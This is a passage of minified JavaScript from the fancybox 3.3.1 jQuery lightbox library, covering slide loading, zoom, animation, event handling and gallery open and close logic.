a,s,r,c,l,d={},u={};n.isPlainObject(e)?(d=e,u=e.opts||e):"object"===n.type(e)&&n(e).length?(a=n(e),u=a.data()||{},u=n.extend(!0,{},u,u.options),u.$orig=a,d.src=i.opts.src||u.src||a.attr("href"),d.type||d.src||(d.type="inline",d.src=e)):d={type:"html",src:e+""},d.opts=n.extend(!0,{},i.opts,u),n.isArray(u.buttons)&&(d.opts.buttons=u.buttons),s=d.type||d.opts.type,c=d.src||"",!s&&c&&((r=c.match(/\.(mp4|mov|ogv)((\?|#).*)?$/i))?(s="video",d.opts.videoFormat||(d.opts.videoFormat="video/"+("ogv"===r[1]?"ogg":r[1]))):c.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i)?s="image":c.match(/\.(pdf)((\?|#).*)?$/i)?s="iframe":"#"===c.charAt(0)&&(s="inline")),s?d.type=s:i.trigger("objectNeedsType",d),d.contentType||(d.contentType=n.inArray(d.type,["html","inline","ajax"])>-1?"html":d.type),d.index=i.group.length,"auto"==d.opts.smallBtn&&(d.opts.smallBtn=n.inArray(d.type,["html","inline","ajax"])>-1),"auto"===d.opts.toolbar&&(d.opts.toolbar=!d.opts.smallBtn),d.opts.$trigger&&d.index===i.opts.index&&(d.opts.$thumb=d.opts.$trigger.find("img:first")),d.opts.$thumb&&d.opts.$thumb.length||!d.opts.$orig||(d.opts.$thumb=d.opts.$orig.find("img:first")),"function"===n.type(d.opts.caption)&&(d.opts.caption=d.opts.caption.apply(e,[i,d])),"function"===n.type(i.opts.caption)&&(d.opts.caption=i.opts.caption.apply(e,[i,d])),d.opts.caption instanceof n||(d.opts.caption=d.opts.caption===o?"":d.opts.caption+""),"ajax"===d.type&&(l=c.split(/\s+/,2),l.length>1&&(d.src=l.shift(),d.opts.filter=l.shift())),d.opts.modal&&(d.opts=n.extend(!0,d.opts,{infobar:0,toolbar:0,smallBtn:0,keyboard:0,slideShow:0,fullScreen:0,thumbs:0,touch:0,clickContent:!1,clickSlide:!1,clickOutside:!1,dblclickContent:!1,dblclickSlide:!1,dblclickOutside:!1})),i.group.push(d)}),Object.keys(i.slides).length&&(i.updateControls(),e=i.Thumbs,e&&e.isActive&&(e.create(),e.focus()))},addEvents:function(){var o=this;o.removeEvents(),o.$refs.container.on("click.fb-close","[data-fancybox-close]",function(t){t.stopPropagation(),t.preventDefault(),o.close(t)}).on("touchstart.fb-prev click.fb-prev","[data-fancybox-prev]",function(t){t.stopPropagation(),t.preventDefault(),o.previous()}).on("touchstart.fb-next click.fb-next","[data-fancybox-next]",function(t){t.stopPropagation(),t.preventDefault(),o.next()}).on("click.fb","[data-fancybox-zoom]",function(t){o[o.isScaledDown()?"scaleToActual":"scaleToFit"]()}),s.on("orientationchange.fb resize.fb",function(t){t&&t.originalEvent&&"resize"===t.originalEvent.type?d(function(){o.update()}):(o.$refs.stage.hide(),setTimeout(function(){o.$refs.stage.show(),o.update()},n.fancybox.isMobile?600:250))}),r.on("focusin.fb",function(t){var o=n.fancybox?n.fancybox.getInstance():null;o.isClosing||!o.current||!o.current.opts.trapFocus||n(t.target).hasClass("fancybox-container")||n(t.target).is(e)||o&&"fixed"!==n(t.target).css("position")&&!o.$refs.container.has(t.target).length&&(t.stopPropagation(),o.focus())}),r.on("keydown.fb",function(t){var e=o.current,i=t.keyCode||t.which;if(e&&e.opts.keyboard&&!(t.ctrlKey||t.altKey||t.shiftKey||n(t.target).is("input")||n(t.target).is("textarea")))return 8===i||27===i?(t.preventDefault(),void o.close(t)):37===i||38===i?(t.preventDefault(),void o.previous()):39===i||40===i?(t.preventDefault(),void o.next()):void o.trigger("afterKeydown",t,i)}),o.group[o.currIndex].opts.idleTime&&(o.idleSecondsCounter=0,r.on("mousemove.fb-idle mouseleave.fb-idle mousedown.fb-idle touchstart.fb-idle touchmove.fb-idle scroll.fb-idle keydown.fb-idle",function(t){o.idleSecondsCounter=0,o.isIdle&&o.showControls(),o.isIdle=!1}),o.idleInterval=t.setInterval(function(){o.idleSecondsCounter++,o.idleSecondsCounter>=o.group[o.currIndex].opts.idleTime&&!o.isDragging&&(o.isIdle=!0,o.idleSecondsCounter=0,o.hideControls())},1e3))},removeEvents:function(){var e=this;s.off("orientationchange.fb resize.fb"),r.off("focusin.fb keydown.fb .fb-idle"),this.$refs.container.off(".fb-close .fb-prev .fb-next"),e.idleInterval&&(t.clearInterval(e.idleInterval),e.idleInterval=null)},previous:function(t){return this.jumpTo(this.currPos-1,t)},next:function(t){return this.jumpTo(this.currPos+1,t)},jumpTo:function(t,e){var i,a,s,r,c,l,d,u=this,p=u.group.length;if(!(u.isDragging||u.isClosing||u.isAnimating&&u.firstRun)){if(t=parseInt(t,10),a=u.current?u.current.opts.loop:u.opts.loop,!a&&(t<0||t>=p))return!1;if(i=u.firstRun=!Object.keys(u.slides).length,!(p<2&&!i&&u.isDragging)){if(r=u.current,u.prevIndex=u.currIndex,u.prevPos=u.currPos,s=u.createSlide(t),p>1&&((a||s.index>0)&&u.createSlide(t-1),(a||s.index<p-1)&&u.createSlide(t+1)),u.current=s,u.currIndex=s.index,u.currPos=s.pos,u.trigger("beforeShow",i),u.updateControls(),l=n.fancybox.getTranslate(s.$slide),s.isMoved=(0!==l.left||0!==l.top)&&!s.$slide.hasClass("fancybox-animated"),s.forcedDuration=o,n.isNumeric(e)?s.forcedDuration=e:e=s.opts[i?"animationDuration":"transitionDuration"],e=parseInt(e,10),i)return s.opts.animationEffect&&e&&u.$refs.container.css("transition-duration",e+"ms"),u.$refs.container.removeClass("fancybox-is-hidden"),f(u.$refs.container),u.$refs.container.addClass("fancybox-is-open"),f(u.$refs.container),s.$slide.addClass("fancybox-slide--previous"),u.loadSlide(s),s.$slide.removeClass("fancybox-slide--previous").addClass("fancybox-slide--current"),void u.preload("image");n.each(u.slides,function(t,e){n.fancybox.stop(e.$slide)}),s.$slide.removeClass("fancybox-slide--next fancybox-slide--previous").addClass("fancybox-slide--current"),s.isMoved?(c=Math.round(s.$slide.width()),n.each(u.slides,function(t,o){var i=o.pos-s.pos;n.fancybox.animate(o.$slide,{top:0,left:i*c+i*o.opts.gutter},e,function(){o.$slide.removeAttr("style").removeClass("fancybox-slide--next fancybox-slide--previous"),o.pos===u.currPos&&(s.isMoved=!1,u.complete())})})):u.$refs.stage.children().removeAttr("style"),s.isLoaded?u.revealContent(s):u.loadSlide(s),u.preload("image"),r.pos!==s.pos&&(d="fancybox-slide--"+(r.pos>s.pos?"next":"previous"),r.$slide.removeClass("fancybox-slide--complete fancybox-slide--current fancybox-slide--next fancybox-slide--previous"),r.isComplete=!1,e&&(s.isMoved||s.opts.transitionEffect)&&(s.isMoved?r.$slide.addClass(d):(d="fancybox-animated "+d+" fancybox-fx-"+s.opts.transitionEffect,n.fancybox.animate(r.$slide,d,e,function(){r.$slide.removeClass(d).removeAttr("style")}))))}}},createSlide:function(t){var e,o,i=this;return o=t%i.group.length,o=o<0?i.group.length+o:o,!i.slides[t]&&i.group[o]&&(e=n('<div class="fancybox-slide"></div>').appendTo(i.$refs.stage),i.slides[t]=n.extend(!0,{},i.group[o],{pos:t,$slide:e,isLoaded:!1}),i.updateSlide(i.slides[t])),i.slides[t]},scaleToActual:function(t,e,i){var a,s,r,c,l,d=this,u=d.current,f=u.$content,p=n.fancybox.getTranslate(u.$slide).width,h=n.fancybox.getTranslate(u.$slide).height,g=u.width,b=u.height;!d.isAnimating&&f&&"image"==u.type&&u.isLoaded&&!u.hasError&&(n.fancybox.stop(f),d.isAnimating=!0,t=t===o?.5*p:t,e=e===o?.5*h:e,a=n.fancybox.getTranslate(f),a.top-=n.fancybox.getTranslate(u.$slide).top,a.left-=n.fancybox.getTranslate(u.$slide).left,c=g/a.width,l=b/a.height,s=.5*p-.5*g,r=.5*h-.5*b,g>p&&(s=a.left*c-(t*c-t),s>0&&(s=0),s<p-g&&(s=p-g)),b>h&&(r=a.top*l-(e*l-e),r>0&&(r=0),r<h-b&&(r=h-b)),d.updateCursor(g,b),n.fancybox.animate(f,{top:r,left:s,scaleX:c,scaleY:l},i||330,function(){d.isAnimating=!1}),d.SlideShow&&d.SlideShow.isActive&&d.SlideShow.stop())},scaleToFit:function(t){var e,o=this,i=o.current,a=i.$content;!o.isAnimating&&a&&"image"==i.type&&i.isLoaded&&!i.hasError&&(n.fancybox.stop(a),o.isAnimating=!0,e=o.getFitPos(i),o.updateCursor(e.width,e.height),n.fancybox.animate(a,{top:e.top,left:e.left,scaleX:e.width/a.width(),scaleY:e.height/a.height()},t||330,function(){o.isAnimating=!1}))},getFitPos:function(t){var e,n,o,i,a,s=this,r=t.$content,c=t.width||t.opts.width,l=t.height||t.opts.height,d={};return!!(t.isLoaded&&r&&r.length)&&(i={top:parseInt(t.$slide.css("paddingTop"),10),right:parseInt(t.$slide.css("paddingRight"),10),bottom:parseInt(t.$slide.css("paddingBottom"),10),left:parseInt(t.$slide.css("paddingLeft"),10)},e=parseInt(s.$refs.stage.width(),10)-(i.left+i.right),n=parseInt(s.$refs.stage.height(),10)-(i.top+i.bottom),c&&l||(c=e,l=n),o=Math.min(1,e/c,n/l),c=Math.floor(o*c),l=Math.floor(o*l),"image"===t.type?(d.top=Math.floor(.5*(n-l))+i.top,d.left=Math.floor(.5*(e-c))+i.left):"video"===t.contentType&&(a=t.opts.width&&t.opts.height?c/l:t.opts.ratio||16/9,l>c/a?l=c/a:c>l*a&&(c=l*a)),d.width=c,d.height=l,d)},update:function(){var t=this;n.each(t.slides,function(e,n){t.updateSlide(n)})},updateSlide:function(t,e){var o=this,i=t&&t.$content,a=t.width||t.opts.width,s=t.height||t.opts.height;i&&(a||s||"video"===t.contentType)&&!t.hasError&&(n.fancybox.stop(i),n.fancybox.setTranslate(i,o.getFitPos(t)),t.pos===o.currPos&&(o.isAnimating=!1,o.updateCursor())),t.$slide.trigger("refresh"),o.$refs.toolbar.toggleClass("compensate-for-scrollbar",t.$slide.get(0).scrollHeight>t.$slide.get(0).clientHeight),o.trigger("onUpdate",t)},centerSlide:function(t,e){var i,a,s=this;s.current&&(i=Math.round(t.$slide.width()),a=t.pos-s.current.pos,n.fancybox.animate(t.$slide,{top:0,left:a*i+a*t.opts.gutter,opacity:1},e===o?0:e,null,!1))},updateCursor:function(t,e){var o,i=this,a=i.current,s=i.$refs.container.removeClass("fancybox-is-zoomable fancybox-can-zoomIn fancybox-can-drag fancybox-can-zoomOut");a&&!i.isClosing&&(o=i.isZoomable(),s.toggleClass("fancybox-is-zoomable",o),n("[data-fancybox-zoom]").prop("disabled",!o),o&&("zoom"===a.opts.clickContent||n.isFunction(a.opts.clickContent)&&"zoom"===a.opts.clickContent(a))?i.isScaledDown(t,e)?s.addClass("fancybox-can-zoomIn"):a.opts.touch?s.addClass("fancybox-can-drag"):s.addClass("fancybox-can-zoomOut"):a.opts.touch&&"video"!==a.contentType&&s.addClass("fancybox-can-drag"))},isZoomable:function(){var t,e=this,n=e.current;if(n&&!e.isClosing&&"image"===n.type&&!n.hasError){if(!n.isLoaded)return!0;if(t=e.getFitPos(n),n.width>t.width||n.height>t.height)return!0}return!1},isScaledDown:function(t,e){var i=this,a=!1,s=i.current,r=s.$content;return t!==o&&e!==o?a=t<s.width&&e<s.height:r&&(a=n.fancybox.getTranslate(r),a=a.width<s.width&&a.height<s.height),a},canPan:function(){var t,e=this,n=!1,o=e.current;return"image"===o.type&&(t=o.$content)&&!o.hasError&&(n=e.getFitPos(o),n=Math.abs(t.width()-n.width)>1||Math.abs(t.height()-n.height)>1),n},loadSlide:function(t){var e,o,i,a=this;if(!t.isLoading&&!t.isLoaded){switch(t.isLoading=!0,a.trigger("beforeLoad",t),e=t.type,o=t.$slide,o.off("refresh").trigger("onReset").addClass(t.opts.slideClass),e){case"image":a.setImage(t);break;case"iframe":a.setIframe(t);break;case"html":a.setContent(t,t.src||t.content);break;case"video":a.setContent(t,'<video class="fancybox-video" controls controlsList="nodownload"><source src="'+t.src+'" type="'+t.opts.videoFormat+"\">Your browser doesn't support HTML5 video</video");break;case"inline":n(t.src).length?a.setContent(t,n(t.src)):a.setError(t);break;case"ajax":a.showLoading(t),i=n.ajax(n.extend({},t.opts.ajax.settings,{url:t.src,success:function(e,n){"success"===n&&a.setContent(t,e)},error:function(e,n){e&&"abort"!==n&&a.setError(t)}})),o.one("onReset",function(){i.abort()});break;default:a.setError(t)}return!0}},setImage:function(e){var o,i,a,s,r,c=this,l=e.opts.srcset||e.opts.image.srcset;if(e.timouts=setTimeout(function(){var t=e.$image;!e.isLoading||t&&t[0].complete||e.hasError||c.showLoading(e)},300),l){s=t.devicePixelRatio||1,r=t.innerWidth*s,a=l.split(",").map(function(t){var e={};return t.trim().split(/\s+/).forEach(function(t,n){var o=parseInt(t.substring(0,t.length-1),10);return 0===n?e.url=t:void(o&&(e.value=o,e.postfix=t[t.length-1]))}),e}),a.sort(function(t,e){return t.value-e.value});for(var d=0;d<a.length;d++){var u=a[d];if("w"===u.postfix&&u.value>=r||"x"===u.postfix&&u.value>=s){i=u;break}}!i&&a.length&&(i=a[a.length-1]),i&&(e.src=i.url,e.width&&e.height&&"w"==i.postfix&&(e.height=e.width/e.height*i.value,e.width=i.value),e.opts.srcset=l)}e.$content=n('<div class="fancybox-content"></div>').addClass("fancybox-is-hidden").appendTo(e.$slide.addClass("fancybox-slide--image")),o=e.opts.thumb||!(!e.opts.$thumb||!e.opts.$thumb.length)&&e.opts.$thumb.attr("src"),e.opts.preload!==!1&&e.opts.width&&e.opts.height&&o&&(e.width=e.opts.width,e.height=e.opts.height,e.$ghost=n("<img />").one("error",function(){n(this).remove(),e.$ghost=null}).one("load",function(){c.afterLoad(e)}).addClass("fancybox-image").appendTo(e.$content).attr("src",o)),c.setBigImage(e)},setBigImage:function(t){var e=this,o=n("<img />");t.$image=o.one("error",function(){e.setError(t)}).one("load",function(){var n;t.$ghost||(e.resolveImageSlideSize(t,this.naturalWidth,this.naturalHeight),e.afterLoad(t)),t.timouts&&(clearTimeout(t.timouts),t.timouts=null),e.isClosing||(t.opts.srcset&&(n=t.opts.sizes,n&&"auto"!==n||(n=(t.width/t.height>1&&s.width()/s.height()>1?"100":Math.round(t.width/t.height*100))+"vw"),o.attr("sizes",n).attr("srcset",t.opts.srcset)),t.$ghost&&setTimeout(function(){t.$ghost&&!e.isClosing&&t.$ghost.hide()},Math.min(300,Math.max(1e3,t.height/1600))),e.hideLoading(t))}).addClass("fancybox-image").attr("src",t.src).appendTo(t.$content),(o[0].complete||"complete"==o[0].readyState)&&o[0].naturalWidth&&o[0].naturalHeight?o.trigger("load"):o[0].error&&o.trigger("error")},resolveImageSlideSize:function(t,e,n){var o=parseInt(t.opts.width,10),i=parseInt(t.opts.height,10);t.width=e,t.height=n,o>0&&(t.width=o,t.height=Math.floor(o*n/e)),i>0&&(t.width=Math.floor(i*e/n),t.height=i)},setIframe:function(t){var e,i=this,a=t.opts.iframe,s=t.$slide;t.$content=n('<div class="fancybox-content'+(a.preload?" fancybox-is-hidden":"")+'"></div>').css(a.css).appendTo(s),s.addClass("fancybox-slide--"+t.contentType),t.$iframe=e=n(a.tpl.replace(/\{rnd\}/g,(new Date).getTime())).attr(a.attr).appendTo(t.$content),a.preload?(i.showLoading(t),e.on("load.fb error.fb",function(e){this.isReady=1,t.$slide.trigger("refresh"),i.afterLoad(t)}),s.on("refresh.fb",function(){var n,i,s=t.$content,r=a.css.width,c=a.css.height;if(1===e[0].isReady){try{n=e.contents(),i=n.find("body")}catch(t){}i&&i.length&&i.children().length&&(s.css({width:"",height:""}),r===o&&(r=Math.ceil(Math.max(i[0].clientWidth,i.outerWidth(!0)))),r&&s.width(r),c===o&&(c=Math.ceil(Math.max(i[0].clientHeight,i.outerHeight(!0)))),c&&s.height(c)),s.removeClass("fancybox-is-hidden")}})):this.afterLoad(t),e.attr("src",t.src),s.one("onReset",function(){try{n(this).find("iframe").hide().unbind().attr("src","//about:blank")}catch(t){}n(this).off("refresh.fb").empty(),t.isLoaded=!1})},setContent:function(t,e){var o=this;o.isClosing||(o.hideLoading(t),t.$content&&n.fancybox.stop(t.$content),t.$slide.empty(),l(e)&&e.parent().length?(e.parent().parent(".fancybox-slide--inline").trigger("onReset"),t.$placeholder=n("<div>").hide().insertAfter(e),e.css("display","inline-block")):t.hasError||("string"===n.type(e)&&(e=n("<div>").append(n.trim(e)).contents(),3===e[0].nodeType&&(e=n("<div>").html(e))),t.opts.filter&&(e=n("<div>").html(e).find(t.opts.filter))),t.$slide.one("onReset",function(){n(this).find("video,audio").trigger("pause"),t.$placeholder&&(t.$placeholder.after(e.hide()).remove(),t.$placeholder=null),t.$smallBtn&&(t.$smallBtn.remove(),t.$smallBtn=null),t.hasError||(n(this).empty(),t.isLoaded=!1)}),n(e).appendTo(t.$slide),n(e).is("video,audio")&&(n(e).addClass("fancybox-video"),n(e).wrap("<div></div>"),t.contentType="video",t.opts.width=t.opts.width||n(e).attr("width"),t.opts.height=t.opts.height||n(e).attr("height")),t.$content=t.$slide.children().filter("div,form,main,video,audio").first().addClass("fancybox-content"),t.$slide.addClass("fancybox-slide--"+t.contentType),this.afterLoad(t))},setError:function(t){t.hasError=!0,t.$slide.trigger("onReset").removeClass("fancybox-slide--"+t.contentType).addClass("fancybox-slide--error"),t.contentType="html",this.setContent(t,this.translate(t,t.opts.errorTpl)),t.pos===this.currPos&&(this.isAnimating=!1)},showLoading:function(t){var e=this;t=t||e.current,t&&!t.$spinner&&(t.$spinner=n(e.translate(e,e.opts.spinnerTpl)).appendTo(t.$slide))},hideLoading:function(t){var e=this;t=t||e.current,t&&t.$spinner&&(t.$spinner.remove(),delete t.$spinner)},afterLoad:function(t){var e=this;e.isClosing||(t.isLoading=!1,t.isLoaded=!0,e.trigger("afterLoad",t),e.hideLoading(t),t.pos===e.currPos&&e.updateCursor(),!t.opts.smallBtn||t.$smallBtn&&t.$smallBtn.length||(t.$smallBtn=n(e.translate(t,t.opts.btnTpl.smallBtn)).prependTo(t.$content)),t.opts.protect&&t.$content&&!t.hasError&&(t.$content.on("contextmenu.fb",function(t){return 2==t.button&&t.preventDefault(),!0}),"image"===t.type&&n('<div class="fancybox-spaceball"></div>').appendTo(t.$content)),e.revealContent(t))},revealContent:function(t){var e,i,a,s,r=this,c=t.$slide,l=!1,d=!1;return e=t.opts[r.firstRun?"animationEffect":"transitionEffect"],a=t.opts[r.firstRun?"animationDuration":"transitionDuration"],a=parseInt(t.forcedDuration===o?a:t.forcedDuration,10),t.pos===r.currPos&&(t.isComplete?e=!1:r.isAnimating=!0),!t.isMoved&&t.pos===r.currPos&&a||(e=!1),"zoom"===e&&(t.pos===r.currPos&&a&&"image"===t.type&&!t.hasError&&(d=r.getThumbPos(t))?l=r.getFitPos(t):e="fade"),"zoom"===e?(l.scaleX=l.width/d.width,l.scaleY=l.height/d.height,s=t.opts.zoomOpacity,"auto"==s&&(s=Math.abs(t.width/t.height-d.width/d.height)>.1),s&&(d.opacity=.1,l.opacity=1),n.fancybox.setTranslate(t.$content.removeClass("fancybox-is-hidden"),d),f(t.$content),void n.fancybox.animate(t.$content,l,a,function(){r.isAnimating=!1,r.complete()})):(r.updateSlide(t),e?(n.fancybox.stop(c),i="fancybox-animated fancybox-slide--"+(t.pos>=r.prevPos?"next":"previous")+" fancybox-fx-"+e,c.removeAttr("style").removeClass("fancybox-slide--current fancybox-slide--next fancybox-slide--previous").addClass(i),t.$content.removeClass("fancybox-is-hidden"),f(c),void n.fancybox.animate(c,"fancybox-slide--current",a,function(e){c.removeClass(i).removeAttr("style"),t.pos===r.currPos&&r.complete()},!0)):(f(c),t.$content.removeClass("fancybox-is-hidden"),void(t.pos===r.currPos&&r.complete())))},getThumbPos:function(o){var i,a=this,s=!1,r=o.opts.$thumb,c=r?r.offset():0,l=function(e){for(var o,i=e[0],a=i.getBoundingClientRect(),s=[];null!==i.parentElement;)"hidden"!==n(i.parentElement).css("overflow")&&"auto"!==n(i.parentElement).css("overflow")||s.push(i.parentElement.getBoundingClientRect()),i=i.parentElement;return o=s.every(function(t){var e=Math.min(a.right,t.right)-Math.max(a.left,t.left),n=Math.min(a.bottom,t.bottom)-Math.max(a.top,t.top);return e>0&&n>0}),o&&a.bottom>0&&a.right>0&&a.left<n(t).width()&&a.top<n(t).height()};return c&&r[0].ownerDocument===e&&l(r)&&(i=a.$refs.stage.offset(),s={top:c.top-i.top+parseFloat(r.css("border-top-width")||0),left:c.left-i.left+parseFloat(r.css("border-left-width")||0),width:r.width(),height:r.height(),scaleX:1,scaleY:1}),s},complete:function(){var t=this,o=t.current,i={};!o.isMoved&&o.isLoaded&&(o.isComplete||(o.isComplete=!0,o.$slide.siblings().trigger("onReset"),t.preload("inline"),f(o.$slide),o.$slide.addClass("fancybox-slide--complete"),n.each(t.slides,function(e,o){o.pos>=t.currPos-1&&o.pos<=t.currPos+1?i[o.pos]=o:o&&(n.fancybox.stop(o.$slide),o.$slide.off().remove())}),t.slides=i),t.isAnimating=!1,t.updateCursor(),t.trigger("afterShow"),o.$slide.find("video,audio").filter(":visible:first").trigger("play"),(n(e.activeElement).is("[disabled]")||o.opts.autoFocus&&"image"!=o.type&&"iframe"!==o.type)&&t.focus())},preload:function(t){var e=this,n=e.slides[e.currPos+1],o=e.slides[e.currPos-1];n&&n.type===t&&e.loadSlide(n),o&&o.type===t&&e.loadSlide(o)},focus:function(){var t,e=this.current;this.isClosing||e&&e.isComplete&&e.$content&&(t=e.$content.find("input[autofocus]:enabled:visible:first"),t.length||(t=e.$content.find("button,:input,[tabindex],a").filter(":enabled:visible:first")),t=t&&t.length?t:e.$content,t.trigger("focus"))},activate:function(){var t=this;n(".fancybox-container").each(function(){var e=n(this).data("FancyBox");e&&e.id!==t.id&&!e.isClosing&&(e.trigger("onDeactivate"),e.removeEvents(),e.isVisible=!1)}),t.isVisible=!0,(t.current||t.isIdle)&&(t.update(),t.updateControls()),t.trigger("onActivate"),t.addEvents()},close:function(t,e){var o,i,a,s,r,c,l,p=this,h=p.current,g=function(){p.cleanUp(t)};return!p.isClosing&&(p.isClosing=!0,p.trigger("beforeClose",t)===!1?(p.isClosing=!1,d(function(){p.update()}),!1):(p.removeEvents(),h.timouts&&clearTimeout(h.timouts),a=h.$content,o=h.opts.animationEffect,i=n.isNumeric(e)?e:o?h.opts.animationDuration:0,h.$slide.off(u).removeClass("fancybox-slide--complete fancybox-slide--next fancybox-slide--previous fancybox-animated"),h.$slide.siblings().trigger("onReset").remove(),i&&p.$refs.container.removeClass("fancybox-is-open").addClass("fancybox-is-closing"),p.hideLoading(h),p.hideControls(),p.updateCursor(),"zoom"!==o||t!==!0&&a&&i&&"image"===h.type&&!h.hasError&&(l=p.getThumbPos(h))||(o="fade"),"zoom"===o?(n.fancybox.stop(a),s=n.fancybox.getTranslate(a),c={top:s.top,left:s.left,scaleX:s.width/l.width,scaleY:s.height/l.height,width:l.width,height:l.height},r=h.opts.zoomOpacity,"auto"==r&&(r=Math.abs(h.width/h.height-l.width/l.height)>.1),r&&(l.opacity=0),n.fancybox.setTranslate(a,c),f(a),n.fancybox.animate(a,l,i,g),!0):(o&&i?t===!0?setTimeout(g,i):n.fancybox.animate(h.$slide.removeClass("fancybox-slide--current"),"fancybox-animated fancybox-slide--previous fancybox-fx-"+o,i,g):g(),!0)))},cleanUp:function(t){var e,o,i=this,a=n("body");i.current.$slide.trigger("onReset"),i.$refs.container.empty().remove(),i.trigger("afterClose",t),i.$lastFocus&&i.current.opts.backFocus&&i.$lastFocus.trigger("focus"),i.current=null,e=n.fancybox.getInstance(),e?e.activate():(a.removeClass("fancybox-active compensate-for-scrollbar"),n("#fancybox-style-noscroll").remove(),a.hasClass("fancybox-iosfix")&&(o=parseInt(a[0].style.top,10),a.css("top","").removeClass("fancybox-iosfix"),s.scrollTop(-o)))},trigger:function(t,e){var o,i=Array.prototype.slice.call(arguments,1),a=this,s=e&&e.opts?e:a.current;return s?i.unshift(s):s=a,i.unshift(a),n.isFunction(s.opts[t])&&(o=s.opts[t].apply(s,i)),o===!1?o:void("afterClose"!==t&&a.$refs?a.$refs.container.trigger(t+".fb",i):r.trigger(t+".fb",i))},updateControls:function(t){var e=this,n=e.current,o=n.index,i=n.opts.caption,a=e.$refs.container,s=e.$refs.caption;n.$slide.trigger("refresh"),e.$caption=i&&i.length?s.html(i):null,e.isHiddenControls||e.isIdle||e.showControls(),a.find("[data-fancybox-count]").html(e.group.length),a.find("[data-fancybox-index]").html(o+1),a.find("[data-fancybox-prev]").toggleClass("disabled",!n.opts.loop&&o<=0),a.find("[data-fancybox-next]").toggleClass("disabled",!n.opts.loop&&o>=e.group.length-1),"image"===n.type?a.find("[data-fancybox-zoom]").show().end().find("[data-fancybox-download]").attr("href",n.opts.image.src||n.src).show():n.opts.toolbar&&a.find("[data-fancybox-download],[data-fancybox-zoom]").hide()},hideControls:function(){this.isHiddenControls=!0,this.$refs.container.removeClass("fancybox-show-infobar fancybox-show-toolbar fancybox-show-caption fancybox-show-nav")},showControls:function(){var t=this,e=t.current?t.current.opts:t.opts,n=t.$refs.container;t.isHiddenControls=!1,t.idleSecondsCounter=0,n.toggleClass("fancybox-show-toolbar",!(!e.toolbar||!e.buttons)).toggleClass("fancybox-show-infobar",!!(e.infobar&&t.group.length>1)).toggleClass("fancybox-show-nav",!!(e.arrows&&t.group.length>1)).toggleClass("fancybox-is-modal",!!e.modal),t.$caption?n.addClass("fancybox-show-caption "):n.removeClass("fancybox-show-caption")},toggleControls:function(){this.isHiddenControls?this.showControls():this.hideControls()}}),n.fancybox={version:"3.3.1",defaults:a,getInstance:function(t){var e=n('.fancybox-container:not(".fancybox-is-closing"):last').data("FancyBox"),o=Array.prototype.slice.call(arguments,1);return e instanceof h&&("string"===n.type(t)?e[t].apply(e,o):"function"===n.type(t)&&t.apply(e,o),e)},open:function(t,e,n){return new h(t,e,n)},close:function(t){var e=this.getInstance();e&&(e.close(),t===!0&&this.close())},destroy:function(){this.close(!0),r.add("body").off("click.fb-start","**")},isMobile:e.createTouch!==o&&/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),use3d:function(){var n=e.createElement("div");return t.getComputedStyle&&t.getComputedStyle(n)&&t.getComputedStyle(n).getPropertyValue("transform")&&!(e.documentMode&&e.documentMode<11)}(),getTranslate:function(t){var e;return!(!t||!t.length)&&(e=t[0].getBoundingClientRect(),{top:e.top||0,left:e.left||0,width:e.width,height:e.height,opacity:parseFloat(t.css("opacity"))})},setTranslate:function(t,e){var n="",i={};if(t&&e)return e.left===o&&e.top===o||(n=(e.left===o?t.position().left:e.left)+"px, "+(e.top===o?t.position().top:e.top)+"px",n=this.use3d?"translate3d("+n+", 0px)":"translate("+n+")"),e.scaleX!==o&&e.scaleY!==o&&(n=(n.length?n+" ":"")+"scale("+e.scaleX+", "+e.scaleY+")"),n.length&&(i.transform=n),e.opacity!==o&&(i.opacity=e.opacity),e.width!==o&&(i.width=e.width),e.height!==o&&(i.height=e.height),t.css(i)},animate:function(t,e,i,a,s){
+var r=!1;n.isFunction(i)&&(a=i,i=null),n.isPlainObject(e)||t.removeAttr("style"),n.fancybox.stop(t),t.on(u,function(o){(!o||!o.originalEvent||t.is(o.originalEvent.target)&&"z-index"!=o.originalEvent.propertyName)&&(n.fancybox.stop(t),r&&n.fancybox.setTranslate(t,r),n.isPlainObject(e)?s===!1&&t.removeAttr("style"):s!==!0&&t.removeClass(e),n.isFunction(a)&&a(o))}),n.isNumeric(i)&&t.css("transition-duration",i+"ms"),n.isPlainObject(e)?(e.scaleX!==o&&e.scaleY!==o&&(r=n.extend({},e,{width:t.width()*e.scaleX,height:t.height()*e.scaleY,scaleX:1,scaleY:1}),delete e.width,delete e.height,t.parent().hasClass("fancybox-slide--image")&&t.parent().addClass("fancybox-is-scaling")),n.fancybox.setTranslate(t,e)):t.addClass(e),t.data("timer",setTimeout(function(){t.trigger("transitionend")},i+16))},stop:function(t){t&&t.length&&(clearTimeout(t.data("timer")),t.off("transitionend").css("transition-duration",""),t.parent().removeClass("fancybox-is-scaling"))}},n.fn.fancybox=function(t){var e;return t=t||{},e=t.selector||!1,e?n("body").off("click.fb-start",e).on("click.fb-start",e,{options:t},i):this.off("click.fb-start").on("click.fb-start",{items:this,options:t},i),this},r.on("click.fb-start","[data-fancybox]",i),r.on("click.fb-start","[data-trigger]",function(t){i(t,{$target:n('[data-fancybox="'+n(t.currentTarget).attr("data-trigger")+'"]').eq(n(t.currentTarget).attr("data-index")||0),$trigger:n(this)})})}}(window,document,window.jQuery||jQuery),function(t){"use strict";var e=function(e,n,o){if(e)return 